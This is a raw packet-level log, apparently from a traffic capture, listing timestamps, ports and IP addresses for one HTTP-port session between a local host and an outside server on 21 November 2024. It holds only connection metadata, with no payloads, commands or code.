Nov 21, 2024 22:33:51.072752953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.072798967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.072864056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.073988914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.074039936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.074090958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.074139118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.075352907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.075408936 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.075500011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.075545073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.076670885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.076719046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.076909065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.076955080 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.077986956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.078035116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.078105927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.078152895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.079310894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.079363108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.140486956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.140595913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.140789986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.141155005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.141226053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.141242981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.141340971 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.142482042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.142533064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.142596960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.142646074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.143793106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.143846035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.143883944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.143927097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.145145893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.145195961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.145235062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.145282984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.146500111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.146544933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.146584034 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.146631002 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.148034096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.148085117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.148118019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.148175001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.149132013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.149183035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.149188042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.149226904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.150480032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.150532007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.150551081 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.150602102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.151823044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.151880980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.151913881 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.151984930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.153183937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.153233051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.153255939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.153301001 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.154567003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.154618979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.154623985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.154661894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.155873060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.155919075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.155925035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.155963898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.157146931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.157212973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.157222986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.157248974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.221995115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.222050905 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.222071886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.222093105 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.222491026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.222541094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.222583055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.222626925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.223851919 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.223902941 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.223943949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.223990917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.225178957 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.225230932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.225264072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.225311995 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.226639032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.226660967 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.226690054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.226706028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.227864027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.227925062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.227963924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.228010893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.229221106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.229271889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.229363918 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.229412079 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.230627060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.230657101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.230699062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.231859922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.231911898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.231931925 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.232019901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.233201981 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.233252048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.233355999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.233402967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.234544992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.234596014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.234716892 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.234765053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.235862970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.235904932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.235910892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.235949039 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.237179995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.237226009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.237286091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.237327099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.238521099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.238568068 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.238607883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.238651991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.298216105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.298445940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.298521042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.298840046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.298962116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.299015999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.300204039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.300267935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.300354958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.301539898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.301603079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.301616907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.301659107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.302953005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.303056955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.303116083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.304194927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.304244995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.304254055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.304285049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.305532932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.305602074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.305636883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.305695057 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.306883097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.306935072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.307005882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.307054996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.308222055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.308271885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.308341026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.308393955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.309556961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.309609890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.309667110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.309757948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.310893059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.310942888 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.311002016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.311053038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.312243938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.312297106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.312532902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.312583923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.313577890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.313646078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.313723087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.313777924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.314915895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.314971924 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.315006971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.317657948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.378568888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.378736973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.378822088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.379165888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.379234076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.379290104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.380476952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.380592108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.380644083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.381829023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.381876945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.382096052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.383143902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.383196115 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.383244991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.384052992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.384460926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.384696007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.384743929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.385833025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.385910034 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.385960102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.387147903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.387192011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.387276888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.387650967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.388499022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.388541937 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.388566971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.389899969 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.389950991 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.389986992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.391129971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.391177893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.391271114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.391324043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.392486095 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.392627954 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.392674923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.393821001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.393918037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.393964052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.395217896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.395265102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.395349026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.395860910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.396527052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.396581888 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.396609068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.396651983 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.454127073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.454185009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.454317093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.454363108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.454658985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.454703093 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.454787016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.454828024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.454878092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.454917908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.456188917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.456284046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.456334114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.457487106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.457535028 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.457555056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.457597971 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.458838940 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.458884954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.459009886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.459053040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.460148096 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.460242987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.460258007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.460295916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.461474895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.461525917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.461584091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.461628914 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.462872028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.462979078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.463036060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.464127064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.464219093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.464265108 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.465481997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.465540886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.465601921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.465713978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.466810942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.466954947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.467001915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.468246937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.468312025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.468339920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.468530893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.469506025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.469554901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.469650030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.469810963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.470782995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.470845938 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.470902920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.471676111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.472110033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.472151041 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.472187996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.472228050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.532371044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.532516003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.532581091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.532819033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.532941103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.532989979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.534145117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.534185886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.534231901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.535509109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.535550117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.535558939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.535799026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.536808014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.536997080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.537039042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.538165092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.538336992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.538378000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.539494038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.539539099 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.539637089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.540841103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.540885925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.540961027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.542174101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.542215109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.542306900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.542352915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.543555975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.543627977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.543689013 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.544878006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.545049906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.545093060 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.546185970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.546236992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.546262980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.547550917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.547597885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.547636032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.547957897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.548841000 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.548973083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.549015999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.550240040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.550324917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.550379992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.610438108 CET	80	49759	109.107.157.132	192.168.2.4
